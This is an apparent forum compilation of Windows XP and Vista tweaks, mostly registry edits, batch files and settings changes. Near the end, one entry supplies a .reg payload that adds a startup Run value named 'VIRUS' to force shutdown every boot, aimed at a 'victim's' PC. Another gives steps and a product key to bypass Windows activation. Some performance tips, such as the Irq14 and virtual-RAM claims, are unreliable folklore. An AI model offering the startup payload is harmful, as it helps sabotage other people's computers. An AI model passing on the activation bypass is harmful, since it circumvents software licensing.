Changing title of windows media player

You can change the title bar for the Windows Media Player.

1.Start Regedit

2.Go to HKEY_CURRENT_USER\Software\Policies\Microsoft
\WindowsMediaPlayer
(create a new key named WindowsMediaPlayer if its not der)

3.Create a string value of TitleBar

4.Give it a value of whatever you want to appear in the title bar

Want u disabl the welcome screne in XP

>start
>control panel
>user account
>change the way users log on or log off
>uncheck "use the welcome screen"
>apply

To disable autorun for a CD (temporarily)

To disable autorun for a CD (temporarily)
Press & Hold shift key while inserting the CD.

REOMVE RECYCLE BIN FROM DESKTOP

To remove Recycle Bin from the desktop:

Run REGEDIT.
Find NAMESPACE key in left pane (HKEY_Local_Macine \ Software \ Microsoft \ Windows \ Current Version \ Explorer \ Desktop \ Namespace)
Expand NAMESPACE (click '+' box)
Delete the value RECYCLE BIN in right pane.
Note: Be careful while editing registries it can cause serious damage to your system.

Lock A Folder, Without Installing Any Software

This trick has only been tested in Windows XP.

Suppose you want to lock the folder viru in d: which has the path D:\viru.
In the same drive create a text file and type

Code:
ren viru viru.{21EC2020-3AEA-1069-A2DD-08002B30309D}

Now save this text file as lock.bat

create another text file and type in it

Code:
ren viru.{21EC2020-3AEA-1069-A2DD-08002B30309D} viru

Now save this text file as key.bat

Now you can see 2 batch files
lock and key.Press lock and the folder viru will change to control
panel and you cannot view its contents.Press key and you will get back
your original folder.

Enhance SATA disk performance

Do you have a SATA disk drive in your computer? If so, you can squeeze a little more performance out of your hard disk. This speeds up the performance of your hard disk by enhancing write caching. However, if your computer is not connected to a battery backup and you loose power you have a increased risk for data loss or corruption. If you have a laptop your chances are data loss or corruption are dramatically less since your laptop battery will kick on if your power source is lost. Let's get started:

1. Click on the Start Button and key in Device Manager and hit Enter.
2. Expand Disk Drives.
3. Right click on your hard drive and select Properties.
4. On the Policies tab, check Enable advanced performance.
5. Hit OK and close Device Manager.

Enabling and Disabling Hibernate Mode in Vista..

Hibernate mode consumes disk space equal to the size of RAM.. so if you fall low disk space you can recover GB's as most of the ppl these days have RAM gr8tr than 2GB, without deleting any stuff..

Steps to enable/disable hibernate mode..
1. Run Command Prompt in Administrative Mode (it will not work if u not open cmd in administrative more, so take care of it)
2. Type
to Disable: powercfg –h off
to Enable : powercfg –h on

Enable Hidden BootScreen in Windows Vista

start -> run -> msconfig -> System Configuration
click on Boot tab
and tick No GUI boot option

Reduce Disk Space Used by windows Vista System Restore

This has become one of the biggest problems with users who made the switch to Windows Vista and have limited disk space. Unlike System Restore in Windows XP, you could adjust the amount of disk usage from XP's Ststem Restore utility.

Vista's System Restore keeps two types of restore points, one for shadow copies of files used to restore previous versions of a file that you want to recover due to corruption or deleting of files, and the typical restoring of a previoius saved system state. System Restore uses up to 15% of each NTFS drive on the system that is at least 1 GB.

To determine how much disk space System Restore is using, the following command can be used:
vssadmin list shadowstorage

For the above command to run you must use elevated privileges:
Click on the Start menu then click All Programs / Accessories
Right Click on the Command Prompt option and from the drop down menu click on the Run as Administrator option
At the command prompt type vssadmin list shadowstorage and Press Enter (NOTE: if the command does not run change directories to c:windowssystem32)
After the vssadmin has executed you will see results similar to the following:

Used Shadow Copy Storage space: 237.419 MB
Allocated Shadow Copy Storage space: 400 MB
Maximum Shadow Copy Storage space: 2.092 GB
The output above shows space used on the C: drive by System Restore is 237.419 MB.

The maximum space allocated for System restore is 2.092 GB

To view the number of restore points you currently have on your Computer run the following command
vssadmin list shadows

Next, to reduce the allocated space used by Vista's System Restore, use the following command:
vssadmin resize shadowstorage /on=[OnVolumeSpec:] /for=[ForVolumeSpec:] /maxsize=[MaxSizeSpec]

Where

OnVolumeSpec: is the drive letter, for examaple C
ForVolumeSpec: is the drive letter, for example C
MaxSizeSpec: is the maximum size you want System Restore to use, example 1GB

example: vssadmin resize shadowstorage /On=C: /For=C: /Maxsize=1GB

When decreasing the space allocated to System Restore, you will loose the earlier system restore points. The advantage is gaining extra free space. If you are concerned with losing the previous restore points, wait until you do not need them anymore before reducing the allocated space.

If you plan on upgrading to Windows Vista or running a clean install and will need extra space, consider reducing the space after installation has completed.

It is not recommended to disable System Restore. The capability to restore to a previous point in time or having the new Shadow Copy feature available can be a time saver if something goes wrong or if you delete a file.

Pop a banner each time Windows Boots

To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\WinLogon
Now create a new string Value in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar. Now create yet another new string value and name it: LegalNoticeText. Modify it and insert the message you want to display each time Windows boots. This can be effectively used to display the company's private policy each time the user logs on to his NT box. It's .reg file would be:

REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Winlogon]
"LegalNoticeCaption"="Caption here."

Turn Off Autoplay for Program CDs

· Click Start, click Run, type GPEDIT.MSC to open Group Policy in the Microsoft
Management Console.

· Double-click Computer Configuration, double-click Administrative templates,
double-click System, and then click Turn off autoplay.

· The instructions on your screen describe how to configure this setting. Click
Properties to display the setting dialog.

· Click Enabled, and choose CD-ROM drives, then click OK, to stop CD autoplay.
This setting does not prevent Autoplay for music CDs.

Add "INSERT" Option in CD Drive Context Menu !

Finally I got it working.
After a few minutes of R&D, I got an option "Insert" in my CD Drive context menu to close the open tray

What I did, I had a setup of a little utility on my HDD since ages, actually I got the utility from a CHIP CD (I think?). This utility just sits in the system try and lets u open/close the tray.

I just installed it bcoz some1 requested me to find out some way to add close cd option in the CD Drive context menu.

Then after some R&D, I got that a file cdeject.dll is installed by it and causes the open/close operation.

So I just copied the DLL file and then uninstalled the s/w. Now the Insert option was not available in CD drive context menu. And thats what I wanted!

Now I copied the DLL file to System32 folder, and added its entry in Registry.

And VOILLA, I got the Insert option back.....

So here is the step-by-step procedure:

1.) D/l the attached file, extract it and copy the DLL file to "%windir%\System32" folder.
2.) Copy following code in notepad:

Code:

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{02A07E80-EFA2-11D4-8306-A7EBD4C50C7C}]
@="CDEject Context Menu Shell Extension"

[HKEY_CLASSES_ROOT\CLSID\{02A07E80-EFA2-11D4-8306-A7EBD4C50C7C}\InprocServer32]
@="C:\\WINDOWS\\system32\\cdeject.dll"
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandler s\{02a07e80-efa2-11d4-8306-a7ebd4c50c7c}]
@="{02a07e80-efa2-11d4-8306-a7ebd4c50c7c}"


3.) Save the file with any name but the extension must be .REG
4.) Now run the file, it'll ask ur permission, accept it.
5.) Now u'll get an Insert option in the CD Drive context menu

Do Not Highlight Newly Installed Programs

Tired of that annoying little window that pops up to tell you that new software is
installed? If it gets in the way when you're logging off, turn it off completely. To do
this:

· Click Start, right-click at the top of the Start menu where your name is displayed,
and then click Properties.

· In the Taskbar and Start Menu Properties dialog box, on the Start Menu tab, click
Customize.

· Click the Advanced tab, and then clear the Highlight newly installed programs check
box.

· Click OK, and then click OK again

Make your folders invicible...

1)Right Click on the desktop.Make a new folder
2)Now rename the folder with a space(U have to hold ALT key and type 0160).
3)Now u have a folder with out a name.
4)Right click on the folder>properties>customize. Click on change icon.
5)Scroll a bit, u should find some empty spaces, Click on any one of them.

click ok

Make your Folders Private

•Open My Computer
•Double-click the drive where Windows is installed (usually drive (C, unless you have more than one drive on your computer).
•If the contents of the drive are hidden, under System Tasks, click Show the contents of this drive.
•Double-click the Documents and Settings folder.
•Double-click your user folder.
•Right-click any folder in your user profile, and then click Properties.
•On the Sharing tab, select the Make this folder private so that only I have access to it check box.


Note

•To open My Computer, click Start, and then click My Computer.
•This option is only available for folders included in your user profile. Folders in your user profile include My Documents and its subfolders, Desktop, Start Menu, Cookies, and Favorites. If you do not make these folders private, they are available to everyone who uses your computer.
•When you make a folder private, all of its subfolders are private as well. For example, when you make My Documents private, you also make My Music and My Pictures private. When you share a folder, you also share all of its subfolders unless you make them private.
•You cannot make your folders private if your drive is not formatted as NTFS For information about converting your drive to NTFS

To Rename the Recycle Bin

To change the name of the Recycle Bin desktop icon, open Regedit and go to:

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}

and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Speed up your browsing of Windows 2000 & XP machines

Here's a great tip to speed up your browsing of Windows XP machines. Its actually a fix to a bug installed as default in Windows 2000 that scans shared files for Scheduled Tasks. And it turns out that you can experience a delay as long as 30 seconds when you try to view shared files across a network because Windows 2000 is using the extra time to search the remote computer for any Scheduled Tasks. Note that though the fix is originally intended for only those affected, Windows 2000 users will experience that the actual browsing speed of both the Internet & Windows Explorers improve significantly after applying it since it doesn't search for Scheduled Tasks anymore. Here's how :

Open up the Registry and go to :

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace

Under that branch, select the key :

{D6277990-4C6A-11CF-8D87-00AA0060F5BF}

and delete it.

This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary.

This fix is so effective that it doesn't require a reboot and you can almost immediately determine yourself how much it speeds up your browsing processes.

To make your Desktop Icons Transparen

Go to control Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"

To Remove Windows XP's Messenger

Theoretically, you can get rid of it (as well as a few other things). Windows 2000 power users should already be familiar with this tweak.

Fire up the Windows Explorer and navigate your way to the %SYSTEMROOT% \ INF folder. What the heck is that thingy with the percentage signs? It's a variable. For most people, %SYSTEMROOT% is C:\Windows. For others, it may be E:\WinXP. Get it? Okay, on with the hack! In the INF folder, open sysoc.inf (but not before making a BACKUP copy first). Before your eyes glaze over, look for the line containing "msmsgs" in it. Near the end of that particular line, you'll notice that the word "hide" is not so hidden. Go ahead and delete "hide" (so that the flanking commas are left sitting next to one another). Save the file and close it. Now, open the Add and Remove Programs applet in the Control Panel. Click the Add / Remove Windows Components icon. You should see "Windows Messenger" in that list. Remove the checkmark from its box, and you should be set.

NOTE: there are other hidden system components in that sysoc.inf file, too. Remove "hide" and the subsequent programs at your own risk.

Increase Your Virtual RAM

This makes your computer faster by using part of your HD space as virtual RAM. ( Takes around a gigabyte of space,when initialized. but still speeds up your computer greatly!)

If your HD has less than 20GB of free space left then don't do this.

Alright, this is how you do it:


Instructions:
1. Right Click on "My Computer" icon and select "Properties".
2. Click on the Advanced tab.
3. Under Performance, click Settings.
4. Then click the Advanced tab on the button that pops up.
5. Under Virtual Memory at the bottom, click Change.
6. Click the Custom Size button.
7. For the initial size (depending on your HD space), type in anywhere from 1000-1500 (although i use 4000), and for the Maximum size type in anywhere from 2000-2500 (although i use 6000).
8. Click Set, and then exit out of all of the Windows.
9. Finally, restart your computer.
10. You now have a faster computer and 1-2gb of virtual RAM!

Nice unseable shortcuts using win key on keyboard

Today’s tip is about running some of the commands quickly using Windows key (key with Windows symbols on it) along with the key depending on the desired command execution. These shortcut keys in the alphabetical sequence are -

Windows Key + d —> Desktop (A good function that can make your desktop appear by minimizing all the open windows)
Windows key + e —> Opens My Computer (To check your storage devices etc.)
Windows key + f —> Opens Search window (To search files and folders)
Windows key + l —> Lock your computer or switch between users (Use it if you are going away for sometime or want other user to use the PC)
Windows key + m —> Minimizes all the open windows and brings desktop
Windows key + r —> Run a command from the Run dialog box

The Windows key is the key with typical Windows logo on it, i.e., . For above functions, you have to keep the Windows key pressed when pressing any other key. You can release the two keys after the desired window has appeared or function has been done.

Now, some of the functions can also be done after the Windows key has been pressed once to make the Start menu appear. It can then be released and the corresponding underlined character key be pressed to run the command as shown below.

Windows Key, u –> Shutdown
Windows key, h –> Help and Support
Windows key, c –> Reaching Search menu or other programs starting with C in the Start menu (example Creative Mediasource Go)
Windows key, s –> Reaching Settings menu
Windows key, d –> Reaching Documents menu or programs starting with D in the Start menu

So, when next time you are interested in saving some of your seconds in Shutting down your PC, running a command in the Run window, taking Windows help or reaching some other commands as explained above, use Windows key and the required shortcut keys.

I hope that this tip helps you in saving some of your seconds. Also, it’s good to use keyboard after one has been using mouse for a long time

"Show hidden file " not working

1. Go to your Start menu, click on Run and open up your Registry Editor by typing "regedit" without the quotes and pressing OK.

2. Once there go to: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folde r\Hidden\SHOWALL

3. Delete the value CheckedValue. (Its type should be REG_SZ and data should be 0 or 1.)

4. Create a new DWORD value called CheckedValue (same as above, except that the type is REG_DWORD) by right clicking on the right pane->New->DWORD Value. Modify the value data to 1 (0x00000001).

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Shut down faster

When a user shuts down Windows XP, first the system has to kill all services currently running. Every once in a while the service does not shut down instantly and windows gives it a changeto shut down on its own before it kills it. This amount of time that windows waits is stored in the system registry. If you modify this setting, then windows will kill the service earlier. To modify the setting, follow the directions below:
Start Regedit.
Navigate to HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control. Click on the "Control"
Folder. Select "WaitToKillServiceTimeout" Right click on it and select Modify. Set it a
value lower than 2000 (Mine is set to 200).
One of the coolest new features in Windows XP is its album thumbnail generator, which automatically places the appropriate album cover art on the folder to which you are copying music (generally in WMA format).But what about those people that have already copied their CDs to the hard drive using MP3 format? You can download album cover art from sites such as cdnow.com or amguide.com, and then use the new Windows XP folder customize feature to display the proper image for each folder.But this takes time--you have to manually edit the folder properties for every single folder--and you will lose customizations if you have to reinstall the OS. There's an excellent fix,however.
When you download the album cover art from the Web, just save the images as folder.jpg each time and place them in the appropriate folder. Then, Windows XP will automatically use that image as the thumbnail for that folder and, best of all, will use that image in Windows Media Player for Windows XP (MPXP) if you choose to display album cover art instead of a visualization. And the folder customization is automatic, so it survives an OS reinstallation as well. Your music folders never looked so good!
Album cover art makes music folder thumbnails look better than ever!Windows XP Tips, Small tips for a better experience

Creating a Password Recovery Disk

In case you forget your password, you can create a password recovery floppy disk beforehand to help you out of this problem.
Single-click Start menu
Go to the Control Panel / User Accounts
Click the User Account
On the left hand side, click on Prevent forgotten password
You will need to know your password to create the disk.
If you don't remember your password sometime in the future, click on the green arrow like normal at the login and you will be prompted to insert the password recover disk.

Setting System Time Over the Internet

You can set your system clock to a time server on the Internet.
Double-click the time on your taskbar
Click the Internet Time tab
Check Automatically synchronize with an Internet time server
Click on the Update Now button

Speeding Up the Display of Start Menu Items

An easy way to speed up the display of the Start Menu Items is to turn off the menu shadow.
Right click on an open area of the Desktop
Select Properties
Click on the Appearance tab
Click on the Effects button
Uncheck Show shadows under menus

Disabling Error Reporting

By default, WindowsXP will request to report application errors to Microsoft.
To turn this off:
Right click on the My Computer icon on the desktop
Select Properties / Advanced
Click on the Error Reporting tab
Check Disable error reporting

Disk Tools to Speed Up your PC

Every month or two you should do a little disk maintenance to optimize the performance of your computer.
1 - Disk Cleanup - Click Start, Programs, Accessories, System Tools, Disk Cleanup.
Click the unnecessary files you want to remove, and click OK.
2 - Run ScanDisk - Click Start, Programs, Accessories, System Tools, ScanDisk.
(run Standard and check Automatically fix errors)
3 - Run Disk Defragmenter - Click Start, Programs, Accessories, System Tools, Disk Defragmenter.
(note this may take a long time to run the first time.)

Lock your USB port

To do this you have to make a registry tweak that will prevent writting to the usb port in Windows XP.
1) Go to 'Start|Run' and type 'Regedit'.
2) Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control.
3) Here add a new folder on the left pane by right clicking on it and selecting 'New|Key'.
4) Name this folder 'StorageDevicePolicies'.
5) Click this new folder and in the window on the right create a new DWORD value, lsbel it
WriteProtect, give it avalue of '1'.
6) Now users will not be able to write any data on the USB.
To turn it off just set th evalue to '0'

Lock folder without any software

Suppose you want to lock the folder games in d: which has the path D:\Games.In the same drive create a text file and type
ren games games.{21EC2020-3AEA-1069-A2DD-08002B30309D}
Now save this text file as loc.bat
create another text file and type in it
ren games.{21EC2020-3AEA-1069-A2DD-08002B30309D} games
Now save this text file as key.bat
Now you can see 2 batch files loc and key.Press loc and the folder games will change to control panel and you cannot view
its contents.Press key and you will get back your original folder.

{20D04FE0-3AEA-1069-A2D8-08002B30309D} - Turned to Explorer
{0DF44EAA-FF21-4412-828E-260A8728E7F1} - turned to startmenu properties
{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF} - Turned to Folder Options
{7007ACC7-3202-11D1-AAD2-00805FC1270E} - Turned to Network Connections
{D20EA4E1-3957-11d2-A40B-0C5020524152} - Turned to Fonts Folder
{D6277990-4C6A-11CF-8D87-00AA0060F5BF} - Turned to Shedule tasks
{E211B736-43FD-11D1-9EFB-0000F8757FCD} - Turned to Scanners & camera

{645FF040-5081-101B-9F08-00AA002F954E} - Turned to Recycle bin

{2227A280-3AEA-1069-A2DE-08002B30309D} - Turned to Printers Folder

Increase Harddisk Speed

To speed up your hard disk speed we need to configure a special buffer in the computer's memory in order to enable it to better deal with interrupts made from the disk.This tip is only recommended if you have 256MB RAM or higher.
Follow these steps:
Run SYSEDIT.EXE from the Run command.
Expand the system.ini file window.
Scroll down almost to the end of the file till you find a line called [386enh].
Press Enter to make one blank line, and in that line type
Irq14=4096
Note: This line IS CASE SENSITIVE!!!
Click on the File menu, then choose Save.
Close SYSEDIT and reboot your computer.
Done. Speed improvement will be noticed after the computer reboots.Update: The most speed improvement is visible with IDE drives, however there are reports that this tweak also does good for SCSI disks. In any case, it won't harm your system, so why not try it yourself and let me know what you find.
Please If ur not sure wht ur doin plz dont do it or else m not be responsible 4 that

An icon to switch user fast

If you have enabled the Windows XP feature "Fast User Switching", you can create an additional icon to switch user FAST.

Right-click an empty space on your desktop
Select the option "new shortcut"
Type "rundll32.exe user32.dll LockWorkStation" (Exactly as shown here, but without the quotes. LockWorkStation is case-sensitive.)
Click next
Type a name for the shortcut (e.g. Switch User Fast) and click finish
This icon is so fast and handy and completely safe that I would recommend dragging it to your Quick Launch bar.


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Hiding ur secret file in a JPEG

# You will need the following.. Windows 2000 / XP
# Basic Knowledge of the Command Prompt
# WinRar
1. Gather your image and the files you wish to lodge into it. Here I have a meeting.txt which I will hide inside my toshow.jpg.
2. Add the files you want to hide into a new RAR archive. (so meeting.txt.rar created newly)
3. Open Command Prompt and go to the folder where your files are located, e.g., 'C:\hidden'.
4. At command prompt type 'copy /b toshow.jpg + meeting.txt.rar lizard.jpg'(without quotes).
(toshow.jpg is the picture I want to show, meeting.txt.rar is the file to be hidden, and
lizard.jpg is the file which contains both.)
6. Now test the lizard.jpg by double clicking it, and verifying it still opens.
8. Now try opening that same lizard.jpg file from menu: file->open of WinRar. It will show the original hidden file meeting.txt.
now lizard.jpg is a simple JPEG for others, but it contains a secret file meeting.txt for you !!!!!!!!!
here is a test image..
user posted image
Save this picture in your desktop and open normally and open in winrar to see the difference.

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Faster windows xp boot!

First restart ur pc and look at the blue line(boot screen) and see how many times it goes..
that u have to do is:
1- start>run> and past ''regedit''
2- HKEY_LOCAL_MACHINE/ SYSTEM / CurrentControlSet / Control / Session Manager / Memory Managment / PrefetchParameters / EnablePrefetcher.
3- dobbel ** on "Enableprefetcher"
4- past 1 in Value Data, and Hexadecimal most be on(enable)
then restart the pc and and look at the blue line and see how many times it goes

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KEEP WINDOWS XP IN CORE

If you have 512 MB or more of RAM, you can increase system performance by having the Windows XP 'Core' kept in the RAM instead of paged on the hard disk.

Go to Start -> Run - Type regedit and press enter - On the left hand side tree, navigate to

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\

- On the list on the right side, look for an entry called 'DisablePagingExecutive'
- Double click it
- Press 1 on your keyboard
- Click OK

- Exit regedit and reboot the computer

To revert to the default setting, follow the same steps as above, but this time, press 0(zero) instead of 1 on the keyboard.

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Add Copy To And Move To Options When U Right Click

Once done, you will be able to right click any file or folder and use the Browse for Folder dialog to choose the location you want to move or copy your file or folder to, without having to go to the destination path,
its cool!

First we will add the copy and move options to the right click menu of all FILES.

CLICK Start>Run, type REGEDIT and click OK to open up the registry editor and make your way to this key:

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers

Right click the ContextMenuHandlers key and choose New>Key.
Name the new key “Copy To” (without the quotes).
Repeat the above and create another new key named Move To.

You should now have two new subkeys under the ContextMenuHandlers key:

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\Copy To
HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\Move To

Select the Copy To key and in the right hand pane, double click “Default”
Enter this clsid value as the value data:

{C2FBB630-2971-11d1-A18C-00C04FD75D13}

Next , select the Move To key and in the right hand pane set the default value to:

{C2FBB631-2971-11d1-A18C-00C04FD75D13}

This now takes care of the Copy and Move options for the right click context menu of all your files.
Now all that is left is to add the same options to the right click menu of all your folders.
The procedure will be the same as for files but at a different key:

HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHan dlers

Right click ContextMenuHandlers and create a new key named Copy To.
Right click it again and create another new key named Move To.

left click on the right hand pane, add the same default values as you did for Files:

For Copy To:
{C2FBB630-2971-11d1-A18C-00C04FD75D13}
For the Move To:
{C2FBB631-2971-11d1-A18C-00C04FD75D13}

Exit the registry and you are done.

Now when you right click on a file or folder, you should see two new options: Copy to Folder and Move to Folder

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CHANGE YOUR PROCESSOR NAME

SHOW YOUR PC PENTIUM 5,6....OR MORE...

GO TO START>RUN>TYPE REGEDIT>HKEY_LOCAL_MACHINE>HARDWARE>DISCRIPTION>
SYSTEM>CENTRAL PROCESSOR>

ON RIGHT HAND SIDE RIGHT CLICK ON PROCESSORNAMESTRING AND THEN WRITE ANYTHING U WANT IN THAT TEXTBOX

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ADDING APPLICATION TO THE RIGHT CLICK

Here is how to add any application to the Context Menu when you right click on any Folder. This way you do not have to always go to the Start Menu. When you right click on any folder, you can have access to that application, the same as using Sent To.

1. Open RegEdit
2. Go to HKEY_CLASSES_ROOT\Folder\shell
3. Add a new Key to the "Shell" Key and name it anything you like.
4. Give it a default value that will appear when you right click a folder, i.e. NewKey (use an "&" without the quotes, in front of any character and it will allow you to use the keyboard)
5. Click on the Key HKEY_CLASSES_ROOT\Folder\shell\NewKey
6. Add a New Key named Command
7. Set the (Default) value of the application you want to run
8. For example: c:\program files\internet explorer\iexplore.exe (Include the full path and parameters if you need them)

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BRAND WINDOWS WITH YOUR NAME

open notepad dump the following lines into it and save it with the name OEMINFO.INI in the c:\windows\system32 directory:
***********************************************
[General]
Manufacturer=Your Name Here
Model=Your Model Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here
************************************************
1. Save the file as OEMINFO.INI in the c:\windows\system32.
2. Then make a right click on my computer select properties, in the general tab see suppport

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REGISTRY TWEAKS

Prefetching (the reading of system boot files into a cache for faster loading) is a commonly overlooked component that can have a significant impact on system boot time. This tweak allows you to select which components will make use of the prefetch parameters. To see which files are gathered using each of the settings, clear the prefetch cache located at C:\Windows\Prefetch and then enable one of the settings listed in this hack. Clear the cache and repeat for each setting.

Set the Registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters\EnablePrefetcher to 0 to disable prefetching, 1 to prefetch application launch files, 2 to prefetch boot files, or 3 to prefetch as many files as possible.

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CHANGE DESKTOP ICONS

You can change the desktop icons of system objects that appear to have unchangeable icons.

First, using Table 2-3, find the CLSID for the object whose icon you want to change. Then run the Registry Editor, go to HKEY_CLASSES_ROOT\CLSID, and look for the CLSID subkey from Table 2-3 for the object whose icon you want to change. Open the subkey and then the DefaultIcon subkey under that. For example, to change the icon for My Computer, open the subkey HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon. Change the Default value to the path of the icon that you want displayed. Exit the Registry. You may have to reboot in order for the new settings to take effect.


CLSID:-



My Computer
{20D04FE0-3AEA-1069-A2D8-08002B30309D}

Recycle Bin
{645FF040-5081-101B-9F08-00AA002F954E}

Microsoft Outlook
{00020D75-0000-0000-C000-000000000046}

Internet Explorer
{FBF23B42-E3F0-101B-8488-00AA003E56F8}

The Internet
{3DC7A020-0ACD-11CF-A9BB-00AA004AE837}

My Network Places
{208D2C60-3AEA-1069-A2D7-08002B30309D}

Briefcase
{85BBD920-42A0-1069-A2E4-08002B30309D}

Dial-Up Networking
{992CFFA0-F557-101A-88EC-00DD010CCC48}

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STARTUP AND SHUTDOWN

A grab bag of ways to customize the way you start up and shut down your system.

There are many small ways that you can control the way you start up and shut down your PC. This grab bag of four hacks shows you the best of them.

1.7.1 Create One-Click Shutdown and Reboot Shortcuts
Turning off or rebooting XP involves a several-step process: click the Start menu, choose Shut Down, and then select Shut Down or Restart. If you want, however, you can exit or reboot much more quickly, by creating a shortcut that enables one-click shutdowns. You can also use the shortcut to customize the shutdown or reboot—for example, by displaying a specific message or automatically shutting down any programs that are running.

First, create a shortcut on your desktop by right-clicking on the desktop, choosing New, and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking for the location of the shortcut, type shutdown. After you create the shortcut, double-clicking on it will shut down your PC.

But you can do much more with a shutdown shortcut than merely shut down your PC. You can add any combination of several switches to do extra duty, like this:

shutdown -r -t 01 -c "Rebooting your PC"
Double-clicking on that shortcut will reboot your PC after a one-second delay and display the message "Rebooting your PC." The shutdown command includes a variety of switches you can use to customize it. Table 1-3 lists all of them and describes their use.

I use this technique to create two shutdown shortcuts on my desktop—one for turning off my PC, and one for rebooting. Here are the ones I use:

shutdown -s -t 03 -c "See you later!"
shutdown -r -t 03 -c "You can't get rid of me that quickly!"
Table 1-3. Switches you can use with shutdown Switch
What it does

-s
Shuts down the PC.

-l
Logs off the current user.

-t nn
Indicates the duration of delay, in seconds, before performing the action.

-c "messagetext"
Displays a message

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Enable Quicker Startups with a Boot Defragment

There is a way to speed up XP startup: make your system do a boot defragment, which will put all the boot files next to one another on your hard disk. When boot files are in close proximity to one another, your system will start faster.

On most systems, boot defragment should be enabled by default, but it may not be on yours, or it may have been changed inadvertently. To make sure that boot defragment is enabled on your system, run the Registry Editor [Hack #68], and go to:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction
Edit the Enable string value to Y if it is not already set to Y. Exit the Registry and reboot. The next time you reboot, you'll do a boot defragment.

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ACTIVATE WINDOWS XP WITHOUT REGISTRATION

1. Type Regedit on the Run Menu

2. Go to Hkey-Local_Machine/Software/ Microsoft/WindowsNT/CurrentVersion/
WPAEvents

3. Select OOBETimer (Reg-Binary) and Press Enter. Now You will See a Set of 12 Keys.

4. FF D5 71 D6 8B 6A 8D 6F D5 33 93 FD
{just delete D6 (4th entry) and replace it with C4}

5. Exit Regedit.

6. Type "%systemroot%\system32\oobe\msoobe.exe /a" on the Run Menu (without quotes)

7. Select "Yes I want to telephone a customer service representative to activate windows".

8. Click Next

9. Select "Change Product Key"

10. Put these keys
QMDGV-QRC2B-XF6JB-GRGHK-W9DRC

11. Select Update

Don’t worry about asking again to register.

Restart the system and repeat steps 6 to 11, now the process will tell you that Windows XP is already activated.

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Shutdown ur friend's PC when everytime it starts

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"

put this followin text in a .reg file and run it in the victims pc:

DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.

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Hacking Windows SEND TO MENU

How often do you copy songs from a CD? Or some photos from a CD?

What do you do? You select the required files and do a CTRL –C. Open the destination folder and do a CTRL-V. Here is something you can benefit time from. Customize your SEND TO MENU.

This sounds simple and you can do it in less than sixty seconds.
You can create your own BASKET.

First you’ll need access to hidden files. So change your view settings to make all hidden files visible.
Tools -> folder options -> view (tab) and select the show hidden files and folders.
go to parent drive:/documents and settings/(user name)/send to

Open up my computer and locate your most used folders.

Create a shortcut of the most used folders in SEND TO FOLDER.You can do this in a number of ways.

Right click -> send to desktop(create shortcut) and move the shortcut from the desktop to the SEND TO FOLDER

Copy the most used folder and go to SEND TO FOLDER and right click -> paste shortcut.

Also remember to rename the shortcuts to send to videos or send to potos. We don’t need confusion when we use the same later.

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Pop a banner each time Windows Boots

To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon Now create a new string Value in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar. Now create yet another new string value and name it:LegalNoticeText

Modify it and insert the message you want to display each time Windows boots. This can be effectively used to display the company's private policy each time the user logs on to his NT box. It's .reg file would be:
REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon] "LegalNoticeCaption"="Caption here."

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For a Safer, faster XP Close Unwanted Services

To disable unneeded startup services for a safer, faster XP, use the "Services" Admin Tool (Control Panel > Administrative Tools > Services). If you are a single user of a non-networked machine, you can disable the following items, with no ill effect.

Alerter
Clipbook
Computer Browser
Fast User Switching
Human Interface Access Devices
Indexing Service (Slows the hard drive down)
Messenger
Net Logon (unnecessary unless networked on a Domain)
Netmeeting Remote Desktop Sharing (disabled for extra security)
Remote Desktop Help Session Manager (disabled for extra security)
Remote Procedure Call Locator
Remote Registry (disabled for extra security)
Routing & Remote Access (disabled for extra security)
Server
SSDP Discovery Service (this is for the utterly pointless "Universal P'n'P", & leaves TCP Port 5000 wide open)
TCP/IP NetBIOS Helper
Telnet (disabled for extra security)
Universal Plug and Play Device Host
Upload Manager
Windows Time
Wireless Zero Configuration (for wireless networks)
Workstation

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Lock Your Computer

Creating a desktop shortcut for locking your computer
